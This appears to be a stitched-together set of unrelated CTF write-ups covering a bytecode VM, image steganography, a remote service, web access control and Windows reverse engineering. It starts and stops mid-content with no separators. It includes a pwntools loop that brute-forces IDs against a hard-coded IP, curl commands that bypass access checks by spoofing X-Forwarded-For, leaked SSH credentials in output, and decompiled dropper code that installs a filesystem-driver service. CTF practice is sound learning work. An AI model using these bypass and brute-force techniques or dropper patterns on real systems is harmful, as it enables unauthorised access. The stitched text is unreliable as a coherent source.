FORMAT----------------------0x0 XOR 10x2 OR 10x3 ADD 10x4 SUB 10x5 SHL 10x10 STORE 20x11 COPY 10xFF HALT``` The running procedure is as follows:```STORE 0x6, 0x41STORE 0x7, 0x50STORE 0xA, 0x8SHL 0x7, 0xASTORE 0x8, 0x56STORE 0xA, 0x10SHL 0x8, 0xASTORE 0x9, 0x45STORE 0xA, 0x18SHL 0x9, 0xAOR 0x6, 0x7OR 0x6, 0x8OR 0x6, 0x9COPY 0x7, 0x3XOR 0x7, 0x6COPY 0x6, 0x2XOR 0x6, 0x3STORE 0x8, 0x102730EXOR 0x6, 0x8COPY 0x5, 0x310AA04ADD 0x5, 0x1XOR 0x5, 0x2COPY 0x8, 0x0STORE 0x9, 0x4F0D301SUB 0x8, 0x9XOR 0x8, 0x1OR 0x5, 0x6OR 0x5, 0x7OR 0x5, 0x8COPY 0x0, 0x50HALT``` After the procedure is run, if the first 4 bytes of virtual memory is zero, then we get the flag. Simplifying the above procedure, we get an easy system to solve: ```(MEM[0x3]^0x45565041) | (MEM[0x2]^MEM[0x3]^0x102730E) | (MEM[0x1]^(MEM[0x0]-0x4F0D301)) | (MEM[0x2]^(MEM[0x1]+0x310AA04)) == 0``` And we get the correct input:```MEM[0x0] = 0x46344C4C = "LL4F"MEM[0x1] = 0x4143794B = "KyCA"MEM[0x2] = 0x4454234F = "O#TD"MEM[0x3] = 0x45565041 = "APVE" "LL4FKyCAO#TDAPVE"```
## 20 - Hoaxes and Hexes - Stegano > My friend sent me a meme and told me to 'look at it differently'. Tf? Just check if there is trailing data after the picture. ```$ strings maymays.jpg | tail -1d4rk{1m_d0wn_h3r3}c0de```
# re5 (re, 120pts) ```bashmichal@DESKTOP-U3SJ9VI:/mnt/c/Users/nazyw/Downloads$ file ctfq.exectfq.exe: PE32 executable (console) Intel 80386, for MS Windows``` The binary is rather simple, it offers us 2 possibilities: ```c++int __cdecl main(int argc, const char **argv, const char **envp){ int v3; // ecx FILE *v4; // eax char v5; // al int v7; // [esp+0h] [ebp-4h] v7 = v3; init_socket(); print_stuff("\n press 1 to input conmmand\n 2 to generate offline key\n 3 help? \n 4 exit\n"); do { v4 = (FILE *)__acrt_iob_func(0); fflush(v4); gets((char *)&v7;; v5 = v7; if ( (_BYTE)v7 == '1' ) { send_command(); v5 = v7; } if ( v5 == '2' ) { encrypt_thing(); v5 = v7; } if ( v5 == '3' ) { print_stuff("id/command help have been sended to you email"); v5 = v7; } } while ( v5 != '4' ); return 0;}``` The first option allows us to send a message to the server in a following format: ```python"%s|%s|%s|%s\n" % (command_id, command_name, company_name, other_data)``` Since command_id has only 1000 possible values, let's try out all of them: ```pythonfrom pwn import * for i in range(1000): secret_id = str(i) command_name = "test" company_name = "test" other_data = "test" r = remote("66.42.55.226", 8888) r.send("%s|%s|%s|%s\n" % (secret_id, command_name, company_name, other_data)) data = r.recv() if data != 'wrong id\n id looklike 000-999\n\x00': print(i, data)``` Gave us:```(720, 'wrong id\n id looklike 000-999\n\x00')``` After a bunch of guessing, we came up with: A final script:```pythonfrom pwn import * secret_id = 720command_name = "view"company_name = "fis"other_data = "1111111111" r = remote("66.42.55.226", 8888)r.send("%s|%s|%s|%s\n" % (secret_id, command_name, company_name, other_data))data = r.recv() print(data)``` Gives us a following string:```[+] Opening connection to 66.42.55.226 on port 8888: Donevqmuwzjxfmqmdnfhr\x00[*] Closed connection to 66.42.55.226 port 8888``` The second option in the menu allows us to encrypt a string using our company name, so we probably have to decrypt it. ``` print_stuff("\n companyname:\n"); gets(v10); print_stuff("\n secret key:\n"); memset(v8, 0, 0x100u); gets(v9); v0 = 0; v1 = 0; v2 = strlen(v9); if ( v2 ) { v3 = strlen(v10); do { if ( v0 == v3 ) v0 = 0; v4 = v10[v0++]; v8[v1++] = v4; } while ( v1 < v2 ); } v5 = 0; if ( v2 ) { do { if ( v6 >= 'a' && v6 <= 'z' ) v9[v5] = ((unsigned __int8)v8[v5] + v6 - 192) % 27 + 0x60; ++v5; } while ( v5 < strlen(v9) ); } return print_stuff("\nkey:%s\n", v9);``` Nothing fancy:```pythondata = 'vqmuwzjxfmqmdnfhr'company_name = 'fis' # there is probably a smarter way of doing this ¯\_(ツ)_/¯def et_tu_brute(c, f): for x in range(ord('a'), ord('z') + 1): if ((x + f - 192) % 27) + 0x60 == c: return x flag = ''.join([chr(et_tu_brute(ord(x), ord(company_name[i % len(company_name)]))) for i,x in enumerate(data)])print(flag)``` Which gives us `phuongdonghuyenbi`
View at the original location: https://neg9.org/news/2018/8/14/openctf-2018-forbidden-folly-1-2-writeup > Forbidden Folly 1 50 ---> Welcome to Hacker2, where uptime is a main prority: http://172.31.2.90> > Forbidden Folly 2 50 ---> It seems like out of towners are terrible at scavenger hunts: http://172.31.2.91 These challenges from OpenCTF 2018 at Defcon 26 were simple web challenges that took us way more time to solve than it should have. Attempting to visit the page linked to in the hint only resulted in a 403 Forbidden response. Eventually an organizer alluded to the server caring about the origin of the request. This led us down the incorrect path of attempting to make the request with an Origin HTTP header. Eventually though, we figured out that requesting the resource with an X-Forwarded-For HTTP header was the key: ```curl -v http://172.31.2.90/' -H 'X-Forwarded-For: 127.0.0.1'``` This returned an HTML page for the "HackerTwo System Status" page, and at the bottom of the source is the flag: ``` ``` For the second challenge in the series, we first attempted to add other HTTP request headers that we thought the hint might be alluding to with "out of towners" such as Accept-Language but nothing seemed to affect the response. The "HackerTwo System Status" page contained the following text: > If at any point all systems stop responding you may want to check the system to verify everything is running properly. Tim placed a web terminal on the system for easy access, the location of that has been emailed to everyone who has access to this portal. We thought this web terminal might be the key to finding the flag, so keeping the X-Forwarded-For header as before, we poked around a bit. Eventually after manually trying a few paths, we found /debug on the server returned a directory listing containing secret.txt, which contained the flag: ```curl -v 'http://172.31.2.91/debug/secret.txt' -H 'X-Forwarded-For: 127.0.0.1'* Trying 172.31.2.91...* TCP_NODELAY set* Connected to 172.31.2.91 (172.31.2.91) port 80 (#0)> GET /debug/secret.txt HTTP/1.1> Host: 172.31.2.91> X-Forwarded-For: 127.0.0.1>< HTTP/1.1 200 OK< Date: Sat, 11 Aug 2018 23:00:38 GMT< Server: Apache/2.4.18 (Ubuntu)< Last-Modified: Tue, 24 Jul 2018 06:38:04 GMT< ETag: "ea-571b901137e84"< Accept-Ranges: bytes< Content-Length: 234< Vary: Accept-Encoding< Content-Type: text/plain<Chad, I've created an account for you here on the system. You can log into ssh with the user chad and the password FriendOfFolly^.Please delete this message after you've read it. PS: flag{Th3_nexT_0ne_iS_D1ff1cul7} Thanks,Grace```
# re1 (re, 100pts) List of executable resources viewed in Resource Hacker: ![resources](resources.png) The most interesting function is 0x40111D: ```c++signed int __stdcall sub_40111D(int a1){ HGLOBAL v1; // eax HRSRC v2; // eax HRSRC v3; // esi HGLOBAL v4; // eax const void *v5; // edi HANDLE v6; // esi signed int v7; // ecx signed int v8; // eax struct _STARTUPINFOA StartupInfo; // [esp+Ch] [ebp-80h] DWORD v11; // [esp+50h] [ebp-3Ch] DWORD NumberOfBytesWritten; // [esp+54h] [ebp-38h] struct _PROCESS_INFORMATION ProcessInformation; // [esp+58h] [ebp-34h] LPCVOID lpBuffer; // [esp+68h] [ebp-24h] HANDLE hObject; // [esp+6Ch] [ebp-20h] HRSRC hResInfo; // [esp+70h] [ebp-1Ch] char v17; // [esp+74h] [ebp-18h] char v18; // [esp+75h] [ebp-17h] CHAR b_dll; // [esp+178h] [ebp+ECh] char v20; // [esp+179h] [ebp+EDh] CHAR FileName; // [esp+27Ch] [ebp+1F0h] char v22; // [esp+27Dh] [ebp+1F1h] CHAR CommandLine; // [esp+380h] [ebp+2F4h] char v24; // [esp+381h] [ebp+2F5h] char v25[12]; // [esp+3E4h] [ebp+358h] b_dll = 0; memset(&v20, 0, 0x103u); FileName = 0; memset(&v22, 0, 0x103u); memset(&v18, 0, 0x103u); GetTempPathA(0x104u, &b_dll); GetTempPathA(0x104u, &FileName); strcat_s(&b_dll, 0x104u, "b.dll"); strcat_s(&FileName, 0x104u, "2.exe"); hResInfo = FindResourceA(0, (LPCSTR)0x8D, "SYS"); GetLastError(); v1 = LoadResource(0, hResInfo); lpBuffer = LockResource(v1); hResInfo = (HRSRC)SizeofResource(0, hResInfo); hObject = CreateFileA(&FileName, 0x10000000u, 1u, 0, 2u, 0x80u, 0); WriteFile(hObject, lpBuffer, (DWORD)hResInfo, &NumberOfBytesWritten, 0); CloseHandle(hObject); v2 = FindResourceA(0, (LPCSTR)0x8E, "SYS"); v3 = v2; v4 = LoadResource(0, v2); v5 = LockResource(v4); hObject = (HANDLE)SizeofResource(0, v3); v6 = CreateFileA(&b_dll, 0x10000000u, 1u, 0, 2u, 0x80u, 0); WriteFile(v6, v5, (DWORD)hObject, &v11, 0); CloseHandle(v6); strcpy(&v17, "qa\"apgcvg\"Rv\"v{rg?\"dkngq{q\"`klRcvj?\""); v7 = 0; do { *(&v17 + v7) ^= a1 - 48; ++v7; } while ( v7 < 36 ); strcpy(v25, "p`#pwbqw#Sw"); v8 = 0; do { v25[v8] ^= a1 - 47; ++v8; } while ( v8 < 11 ); CommandLine = 0; memset(&v24, 0, 0x63u); sprintf(&CommandLine, "%d", a1); memset(&StartupInfo, 0, 0x44u); StartupInfo.cb = 68; if ( !CreateProcessA(&FileName, &CommandLine, 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInformation) ) return 1; WaitForSingleObject(ProcessInformation.hProcess, 0xFFFFFFFF); CloseHandle(ProcessInformation.hThread); CloseHandle(ProcessInformation.hProcess); DeleteFileA(&b_dll); DeleteFileA(&FileName); return 1;}``` It loads the `SYS1` resource and saves it into `b.dll` and stores `SYS2` in `2.exe` and executes it. `2.exe` loads data from `b.dll` again, xors it with a certain byte and stores it as `flag.dll`: ```c++signed int __stdcall sub_40111D(int a1){ HGLOBAL v1; // eax HRSRC v2; // eax HRSRC v3; // esi HGLOBAL v4; // eax const void *v5; // edi HANDLE v6; // esi signed int v7; // ecx signed int v8; // eax struct _STARTUPINFOA StartupInfo; // [esp+Ch] [ebp-80h] DWORD v11; // [esp+50h] [ebp-3Ch] DWORD NumberOfBytesWritten; // [esp+54h] [ebp-38h] struct _PROCESS_INFORMATION ProcessInformation; // [esp+58h] [ebp-34h] LPCVOID lpBuffer; // [esp+68h] [ebp-24h] HANDLE hObject; // [esp+6Ch] [ebp-20h] HRSRC hResInfo; // [esp+70h] [ebp-1Ch] char v17; // [esp+74h] [ebp-18h] char v18; // [esp+75h] [ebp-17h] CHAR b_dll; // [esp+178h] [ebp+ECh] char v20; // [esp+179h] [ebp+EDh] CHAR FileName; // [esp+27Ch] [ebp+1F0h] char v22; // [esp+27Dh] [ebp+1F1h] CHAR CommandLine; // [esp+380h] [ebp+2F4h] char v24; // [esp+381h] [ebp+2F5h] char v25[12]; // [esp+3E4h] [ebp+358h] b_dll = 0; memset(&v20, 0, 0x103u); FileName = 0; memset(&v22, 0, 0x103u); memset(&v18, 0, 0x103u); GetTempPathA(0x104u, &b_dll); GetTempPathA(0x104u, &FileName); strcat_s(&b_dll, 0x104u, "b.dll"); strcat_s(&FileName, 0x104u, "2.exe"); hResInfo = FindResourceA(0, (LPCSTR)141, "SYS"); GetLastError(); v1 = LoadResource(0, hResInfo); lpBuffer = LockResource(v1); hResInfo = (HRSRC)SizeofResource(0, hResInfo); hObject = CreateFileA(&FileName, 0x10000000u, 1u, 0, 2u, 0x80u, 0); WriteFile(hObject, lpBuffer, (DWORD)hResInfo, &NumberOfBytesWritten, 0); CloseHandle(hObject); v2 = FindResourceA(0, (LPCSTR)142, "SYS"); v3 = v2; v4 = LoadResource(0, v2); v5 = LockResource(v4); hObject = (HANDLE)SizeofResource(0, v3); v6 = CreateFileA(&b_dll, 0x10000000u, 1u, 0, 2u, 0x80u, 0); WriteFile(v6, v5, (DWORD)hObject, &v11, 0); CloseHandle(v6); strcpy(&v17, "qa\"apgcvg\"Rv\"v{rg?\"dkngq{q\"`klRcvj?\"");// sc create Pt type= filesys binPath= v7 = 0; do { *(&v17 + v7) ^= a1 - 48; ++v7; } while ( v7 < 36 ); strcpy(v25, "p`#pwbqw#Sw"); // sc start Pt v8 = 0; do { v25[v8] ^= a1 - 47; ++v8; } while ( v8 < 11 ); CommandLine = 0; memset(&v24, 0, 0x63u); sprintf(&CommandLine, "%d", a1); memset(&StartupInfo, 0, 'D'); StartupInfo.cb = 'D'; if ( !CreateProcessA(&FileName, &CommandLine, 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInformation) ) return 1; WaitForSingleObject(ProcessInformation.hProcess, 0xFFFFFFFF); CloseHandle(ProcessInformation.hThread); CloseHandle(ProcessInformation.hProcess); DeleteFileA(&b_dll); DeleteFileA(&FileName); return 1;}``` Xoring the entire resource with 0x36 yields a following result: ![output](output.png)
# Full WriteUp Full Writeup on our website: [http://www.aperikube.fr/docs/tjctf_2018/bad_cipher](http://www.aperikube.fr/docs/tjctf_2018/bad_cipher) -------------# TL;DR This challenge was an analyse of Python code, we must find the cryptographic protocol and find after the flag.
# re4 (re, 390pts) ```michal@DESKTOP-U3SJ9VI:/mnt/c/Users/nazyw/Downloads$ file WH2018.exeWH2018.exe: PE32+ executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows``` Hm, another .Net binary? ![wut](wut.png) ? ![entry.png](entry.png) Okay, something is definietly off here... # Repairing the binary Throughout this wirteup we'll use the [kaitai parser](https://ide.kaitai.io/), it's been a massive help in this challange. ![upx](upx.png) So this is probably a upx-packed binary... Let's take a look at the booched entry point: ![weird](weird.png) So the address of EntryPoint is set to 0, that's kinda odd. What's weirder, the imageBase is set to 0x400000001E300, that value actually looks like 2 32-bit addresses concatenated. Could the binary be in fact 32-bit? Let's find out! All we have to do is move a one bit to the right: ![move_bit](move_bit.png) How about the addresses? ![better](better.png) That looks better, but the entry point is still messed up and decompressing the binary using upx fails. But since we know a upx-ed file structure we can just find it manually and set the entry point offset to a correct value. The unpacking procedure: ![start_addr](start_addr.png) Since the entry point is relative to the image base address we'll have to set it to `0x005E28D0 - 0x00400000 = 0x001e28d0`. upx is still not happy about the binary though:```bashmichal@debian:/media/sf_nazyw/Downloads$ upx -d WH2018_32 Ultimate Packer for eXecutables Copyright (C) 1996 - 2013UPX 3.91 Markus Oberhumer, Laszlo Molnar & John Reiser Sep 30th 2013 File size Ratio Format Name -------------------- ------ ----------- -----------upx: WH2018_32: CantUnpackException: file is modified/hacked/protected; take care!!! Unpacked 0 files.``` Well, it turns out the section names have to be correct as well: ![section_names](section_names.png) ```bashmichal@debian:/media/sf_nazyw/Downloads$ upx -d WH2018_32 Ultimate Packer for eXecutables Copyright (C) 1996 - 2013UPX 3.91 Markus Oberhumer, Laszlo Molnar & John Reiser Sep 30th 2013 File size Ratio Format Name -------------------- ------ ----------- ----------- 1872384 <- 823296 43.97% win32/pe WH2018_32 Unpacked 1 file.```Success! # Core analysis The binary is crashing because of memory misaligment issues, to solve that we have to turn on the `Relocation information is stripped from the file` bit: ![bit](bit.png) Since the analysis of the decompressed binary is pretty straigh forward, we'll describe just the checks that are performed. There are 2 functions for handling 2 different button presses. ## First function The first thing it checks is wheter the program was run with 5 argv parameters:```c++ v9 = CommandLineToArgvW(v8, &pNumArgs); if ( pNumArgs != 5 ) { LOBYTE(v85) = 0; if ( _InterlockedDecrement((volatile signed __int32 *)(v7 - 16 + 12)) <= 0 ) (*(void (__stdcall **)(int))(**(_DWORD **)(v7 - 16) + 4))(v7 - 16); v85 = -1; v10 = (volatile signed __int32 *)(v4 - 16);LABEL_9: if ( _InterlockedDecrement(v10 + 3) <= 0 ) (*(void (__stdcall **)(volatile signed __int32 *))(**(_DWORD **)v10 + 4))(v10); return; }``` Then it checks if the third's argument length is equal to 35:```c++ v15 = v12[2]; v16 = (int)(v15 + 1); do { v17 = *v15; ++v15; } while ( v17 ); if ( ((signed int)v15 - v16) >> 1 != 35 ) { LOBYTE(v88) = 0; v18 = v42 - 16; v19 = _InterlockedDecrement((volatile signed __int32 *)(v42 - 16 + 12)); v20 = v19 == 0; v21 = v19 < 0;LABEL_17: if ( v21 || v20 ) (*(void (__stdcall **)(int))(**(_DWORD **)v18 + 4))(v18); v88 = -1; v13 = (volatile signed __int32 *)(v41 - 16); goto LABEL_9; }``` Xors it with 0x66:```c++ do { *(&v45 + v31) ^= 0x66u; ++v31; }``` And does a bunch of static comparasions: ```if ( v45 != '_' )...if ( v46 != '$' || v47 != '^' || v48 != 'W' || v49 != '_' || v50 != 35 || v51 != '%' || v52 != 'W' )...if ( v53 == 'S' && v54 == '$' && v55 == 'R' && v56 == '#' && v57 == '$' && v58 == '^' && v59 == '\'' && v60 == 'W' && v61 == '%' && v62 == 'S' && v63 == '%' && v64 == '\'' && v65 == 'T' && v66 == 'U' && v67 == '_' && v68 == 'V' && v69 == '\'' && v70 == '#' && v71 == 'W' && v72 == 'R' && v73 == '#' && v74 == 'T' && v75 == '^' && v76 == '_' && v77 == '^' && v78 == 'Q' && v79 == '\'' )``` From which we get, the value '9B819SC15B4EB8A1C5CA2390AE14E28987A', so from now on we have to launch the binary with that string as the third argument. ## Second function ### First check: The string is grabbed, md5-ed using the imported functions and then compared to a static array of values: ```c++BOOL __stdcall sub_407040(int a1){ int v1; // esi int v3; // [esp+8h] [ebp-80h] int v4; // [esp+Ch] [ebp-7Ch] int v5; // [esp+10h] [ebp-78h] int v6; // [esp+14h] [ebp-74h] int v7; // [esp+18h] [ebp-70h] int v8; // [esp+1Ch] [ebp-6Ch] int v9; // [esp+20h] [ebp-68h] int v10; // [esp+24h] [ebp-64h] int v11; // [esp+28h] [ebp-60h] int v12; // [esp+2Ch] [ebp-5Ch] int v13; // [esp+30h] [ebp-58h] int v14; // [esp+34h] [ebp-54h] int v15; // [esp+38h] [ebp-50h] int v16; // [esp+3Ch] [ebp-4Ch] int v17; // [esp+40h] [ebp-48h] int v18; // [esp+44h] [ebp-44h] int v19; // [esp+48h] [ebp-40h] int v20; // [esp+4Ch] [ebp-3Ch] int v21; // [esp+50h] [ebp-38h] int v22; // [esp+54h] [ebp-34h] int v23; // [esp+58h] [ebp-30h] int v24; // [esp+5Ch] [ebp-2Ch] int v25; // [esp+60h] [ebp-28h] int v26; // [esp+64h] [ebp-24h] int v27; // [esp+68h] [ebp-20h] int v28; // [esp+6Ch] [ebp-1Ch] int v29; // [esp+70h] [ebp-18h] int v30; // [esp+74h] [ebp-14h] int v31; // [esp+78h] [ebp-10h] int v32; // [esp+7Ch] [ebp-Ch] int v33; // [esp+80h] [ebp-8h] int v34; // [esp+84h] [ebp-4h] v7 = '7'; v8 = '2'; v13 = '7'; v15 = '2'; v3 = '3'; v4 = 'A'; v5 = 'B'; v6 = '4'; v9 = '8'; v10 = '4'; v11 = 'C'; v12 = 'F'; v14 = 'E'; v16 = '6'; v17 = '0'; v18 = '5'; v19 = '4'; v20 = '1'; v21 = 'D'; v22 = '8'; v23 = '1'; v24 = '0'; v25 = 'B'; v26 = 'E'; v27 = 'B'; v28 = '5'; v29 = '4'; v30 = 'D'; v31 = '3'; v32 = '4'; v33 = '0'; v34 = '5'; v1 = 0; while ( !IsDebuggerPresent() && *(char *)(v1 + a1) == *(&v3 + v1) ) { if ( ++v1 >= 32 ) return IsDebuggerPresent() == 0; } return 0;}```Looking up the hardcoded md5 hash we get `whitehat` ### Second check The second checks actually consists of 3 checks, with each one checking 24 different bytes of the input. The first and third ones are based on finding a set of integers that fulfils a certain set of formulas: ```c++signed int __stdcall sub_4013B0(const void *a1){ int v1; // ecx int v3; // [esp+84h] [ebp-Ch] int v4; // [esp+88h] [ebp-8h] int v5; // [esp+8Ch] [ebp-4h] int v6; // [esp+90h] [ebp+0h] int v7; // [esp+94h] [ebp+4h] int v8; // [esp+98h] [ebp+8h] int v9; // [esp+9Ch] [ebp+Ch] int v10; // [esp+A0h] [ebp+10h] int v11; // [esp+A4h] [ebp+14h] int v12; // [esp+A8h] [ebp+18h] int v13; // [esp+ACh] [ebp+1Ch] int v14; // [esp+B0h] [ebp+20h] int v15; // [esp+B4h] [ebp+24h] int v16; // [esp+B8h] [ebp+28h] int v17; // [esp+BCh] [ebp+2Ch] int v18; // [esp+C0h] [ebp+30h] int v19; // [esp+C4h] [ebp+34h] int v20; // [esp+C8h] [ebp+38h] int v21; // [esp+CCh] [ebp+3Ch] int v22; // [esp+D0h] [ebp+40h] int v23; // [esp+D4h] [ebp+44h] int v24; // [esp+D8h] [ebp+48h] int v25; // [esp+DCh] [ebp+4Ch] int v26; // [esp+E0h] [ebp+50h] int v27; // [esp+E4h] [ebp+54h] int v28; // [esp+E8h] [ebp+58h] int v29; // [esp+ECh] [ebp+5Ch] int v30; // [esp+F0h] [ebp+60h] int v31; // [esp+F4h] [ebp+64h] int v32; // [esp+F8h] [ebp+68h] int v33; // [esp+FCh] [ebp+6Ch] int v34; // [esp+100h] [ebp+70h] qmemcpy(&v3, a1, 0x80u); v1 = 0; while ( 1467 * v4+ 1464 * v12+ 1491 * v18+ 1961 * v17+ 2169 * v7+ 2145 * v14+ 3358 * v10+ 3281 * v15+ 3500 * v6+ 3478 * v9+ 3391 * v23+ 3436 * v22+ 3705 * v13+ 3604 * v24+ 1153 * v26+ 3962 * v11+ 3942 * v20+ 1292 * v27+ 3995 * v19+ 1382 * v28+ 1716 * v30+ 1726 * v34+ 1902 * v25+ 2718 * v31+ 2895 * v32+ 3421 * v29+ 3447 * v33+ 2827 * (v21 + v16)+ 1724 * v8+ 1334 * v5+ 1041 * v3 == 6528434 && 1644 * v22+ 1894 * v10+ 1868 * v20+ 2253 * v19+ 2667 * v7+ 2703 * v11+ 2547 * v21+ 2664 * v16+ 2869 * v5+ 2711 * v18+ 2912 * v6+ 3035 * v9+ 3299 * v8+ 3538 * v4+ 3771 * v3+ 3673 * v15+ 3811 * v12+ 3662 * v23+ 1035 * v32+ 3757 * v24+ 1316 * v31+ 1529 * v29+ 1741 * v28+ 1778 * v30+ 1859 * v26+ 2190 * v33+ 2842 * v34+ 3037 * v25+ 3723 * v27+ 2322 * v13+ 1333 * v14+ 1141 * v17 == 6484666 && (_UNKNOWN *)(1040 * v5+ 1106 * v4+ 1006 * v15+ 1288 * v3+ 1084 * v21+ 1350 * v14+ 1370 * v13+ 1446 * v9+ 1393 * v17+ 1548 * v18+ 1729 * v12+ 1623 * v20+ 1890 * v11+ 1756 * v23+ 2101 * v16+ 2264 * v7+ 2648 * v8+ 2629 * v19+ 2954 * v22+ 3805 * v10+ 3942 * v6+ 3840 * v24+ 1538 * v34+ 1626 * v31+ 2376 * v26+ 2931 * v27+ 2966 * v25+ 2944 * v29+ 3308 * v28+ 3323 * v32+ 3439 * v30+ 3537 * v33) == &unk_5535D1 && 1270 * v21+ 1573 * v24+ 2118 * v3+ 1930 * v12+ 2115 * v8+ 2072 * v20+ 2541 * v6+ 2386 * v16+ 2639 * v9+ 2704 * v11+ 2673 * v15+ 2833 * v7+ 2929 * v5+ 2745 * v18+ 3082 * v4+ 2977 * v13+ 3021 * v17+ 3306 * v14+ 3658 * v10+ 3777 * v23+ 3829 * v22+ 1161 * v29+ 3924 * v19+ 1636 * v30+ 1574 * v34+ 1767 * v32+ 2290 * v28+ 2355 * v31+ 2512 * v26+ 3097 * v25+ 3655 * v33+ 3986 * v27 == 6823719 && (_UNKNOWN *)(1724 * v8+ 1191 * v12+ 1350 * v5+ 1287 * v16+ 1430 * v10+ 1457 * v15+ 1588 * v24+ 2031 * v3+ 1753 * v17+ 1758 * v22+ 2150 * v6+ 2107 * v11+ 2383 * v18+ 2941 * v7+ 2966 * v9+ 3209 * v21+ 3337 * v14+ 3909 * v20+ 3945 * v19+ 1422 * v25+ 1506 * v27+ 1762 * v33+ 1946 * v26+ 1900 * v31+ 2030 * v28+ 2413 * v29+ 2655 * v34+ 3168 * v30+ 3591 * v32+ 1221 * v23+ 1007 * v13+ 1052 * v4) == &unk_559DDE && 1021 * v18+ 1359 * v4+ 1350 * v12+ 1483 * v8+ 1374 * v15+ 1348 * v19+ 1548 * v7+ 1624 * v5+ 1595 * v9+ 1602 * v11+ 1484 * v22+ 1836 * v14+ 2041 * v10+ 2291 * v13+ 2596 * v17+ 2668 * v21+ 2734 * v24+ 3020 * v16+ 3410 * v3+ 3199 * v20+ 3537 * v6+ 3281 * v23+ 1053 * v25+ 1127 * v31+ 1467 * v32+ 1728 * v33+ 1788 * v30+ 1900 * v29+ 1938 * v28+ 2999 * v26+ 3418 * v27+ 3893 * v34 == 5330889 && 1224 * v21+ 1648 * v3+ 1303 * v20+ 1514 * v10+ 1617 * v8+ 1935 * v13+ 2483 * v4+ 2519 * v17+ 2616 * v12+ 2556 * v18+ 2813 * v9+ 2798 * v19+ 3008 * v22+ 3310 * v7+ 3309 * v11+ 3249 * v16+ 3421 * v6+ 3451 * v14+ 3600 * v15+ 3807 * v5+ 3609 * v24+ 1093 * v29+ 1195 * v27+ 3844 * v23+ 1523 * v31+ 1503 * v34+ 2587 * v32+ 3343 * v30+ 3314 * v33+ 3485 * v28+ 3702 * v26+ 3989 * v25 == 6888831 && 1038 * v19+ 1157 * v14+ 1281 * v10+ 1179 * v20+ 1190 * v21+ 1191 * v24+ 1292 * v18+ 1618 * v6+ 1538 * v17+ 2009 * v13+ 2200 * v4+ 2448 * v3+ 2458 * v5+ 2589 * v11+ 2796 * v8+ 2958 * v23+ 3580 * v7+ 3472 * v15+ 3622 * v16+ 3657 * v22+ 1272 * v31+ 2156 * v27+ 2202 * v29+ 2646 * v34+ 2815 * v25+ 2888 * v26+ 3055 * v32+ 3328 * v33+ 3511 * v28+ 3634 * v30+ 3798 * (v9 + v12) == 6321788 && 1651 * v14+ 1875 * v5+ 1881 * v11+ 1892 * v19+ 2021 * v15+ 2433 * v6+ 2416 * v10+ 2476 * v18+ 2886 * v4+ 2712 * v22+ 2998 * v12+ 3142 * v8+ 3362 * v3+ 3075 * v21+ 3510 * v24+ 3699 * v16+ 1003 * v25+ 3600 * v23+ 3844 * v9+ 1255 * v31+ 1789 * v30+ 2401 * v29+ 2423 * v32+ 2585 * v34+ 3002 * v33+ 3688 * v28+ 3861 * v27+ 3869 * (v26 + v7)+ 2322 * v13+ 1557 * v17+ 1389 * v20 == 6796074 && 1182 * v3+ 1088 * v5+ 1425 * v19+ 1434 * v21+ 1512 * v24+ 1832 * v9+ 1932 * v10+ 2169 * v11+ 2285 * v4+ 2426 * v6+ 2329 * v16+ 2617 * v7+ 2441 * v23+ 2555 * v20+ 2549 * v22+ 2721 * v13+ 2692 * v18+ 2976 * v15+ 3154 * v12+ 3189 * v14+ 3368 * v17+ 3757 * v8+ 1060 * v26+ 1145 * v25+ 1423 * v30+ 1529 * v34+ 1718 * v27+ 1753 * v28+ 2139 * v29+ 2279 * v31+ 2687 * v33+ 2996 * v32 == 5803503 && 1193 * v7+ 1114 * v17+ 1297 * v9+ 1263 * v22+ 1455 * v15+ 1488 * v13+ 1355 * v24+ 1949 * v6+ 2105 * v12+ 2286 * v11+ 2282 * v14+ 2549 * v3+ 2316 * v19+ 2866 * v5+ 2734 * v16+ 3195 * v8+ 3437 * v4+ 3416 * v10+ 3701 * v18+ 3671 * v20+ 3786 * v21+ 1756 * v32+ 1912 * v27+ 2185 * v25+ 2321 * v33+ 2558 * v34+ 2808 * v28+ 2832 * v29+ 3053 * v26+ 3945 * v30+ 2313 * (v31 + v23) == 6283755 && 1044 * v15+ 1481 * v5+ 1659 * v16+ 1982 * v4+ 2144 * v6+ 2129 * v9+ 2466 * v14+ 2745 * v23+ 3196 * v7+ 3161 * v10+ 3024 * v20+ 3222 * v8+ 3173 * v13+ 3154 * v21+ 3253 * v19+ 3292 * v17+ 3646 * v3+ 3450 * v12+ 3535 * v11+ 3439 * v18+ 3510 * v22+ 3649 * v24+ 1787 * v31+ 1905 * v32+ 2022 * v28+ 2186 * v25+ 2474 * v27+ 2391 * v34+ 3018 * v30+ 3168 * v29+ 3313 * v26+ 3958 * v33 == 7038880 && 1314 * v7+ 1372 * v11+ 1625 * v4+ 2202 * v3+ 2070 * v14+ 2414 * v6+ 2297 * v16+ 2487 * v15+ 2518 * v17+ 2824 * v8+ 2874 * v10+ 2763 * v21+ 3159 * v12+ 2985 * v24+ 3177 * v18+ 3334 * v9+ 3477 * v5+ 3192 * v23+ 3270 * v20+ 3668 * v22+ 3833 * v13+ 1102 * v25+ 3773 * v19+ 1527 * v31+ 2099 * v30+ 2543 * v33+ 2627 * v28+ 2802 * v29+ 2924 * v34+ 3213 * v27+ 3480 * v26+ 3625 * v32 == 6980452 && 1142 * v14+ 1432 * v8+ 1593 * v10+ 2003 * v7+ 2061 * v5+ 2031 * v12+ 1974 * v22+ 2064 * v17+ 2187 * v19+ 2286 * v16+ 2413 * v21+ 2725 * v11+ 3023 * v3+ 2900 * v18+ 3181 * v6+ 3222 * v15+ 3170 * v24+ 3270 * v23+ 3505 * v9+ 3360 * v20+ 3492 * v13+ 3972 * v4+ 1235 * v25+ 1140 * v33+ 1550 * v32+ 1833 * v26+ 1896 * v29+ 2285 * v31+ 2711 * v27+ 2667 * v30+ 2760 * v28+ 2694 * v34 == 6213703 && 1119 * v19+ 1087 * v22+ 1624 * v4+ 1694 * v8+ 2019 * v5+ 2018 * v17+ 2060 * v23+ 2466 * v12+ 2484 * v16+ 2464 * v18+ 2658 * v9+ 2593 * v14+ 2678 * v13+ 3125 * v6+ 2926 * v24+ 3302 * v10+ 3371 * v11+ 3695 * v3+ 3576 * v7+ 1010 * v25+ 3851 * v15+ 1043 * v31+ 3800 * v21+ 1227 * v30+ 2164 * v33+ 2757 * v26+ 2758 * v32+ 3170 * v27+ 3109 * v34+ 3315 * v28+ 1576 * (v29 + 2 * v20) == 6470003 && 1123 * v17+ 1487 * 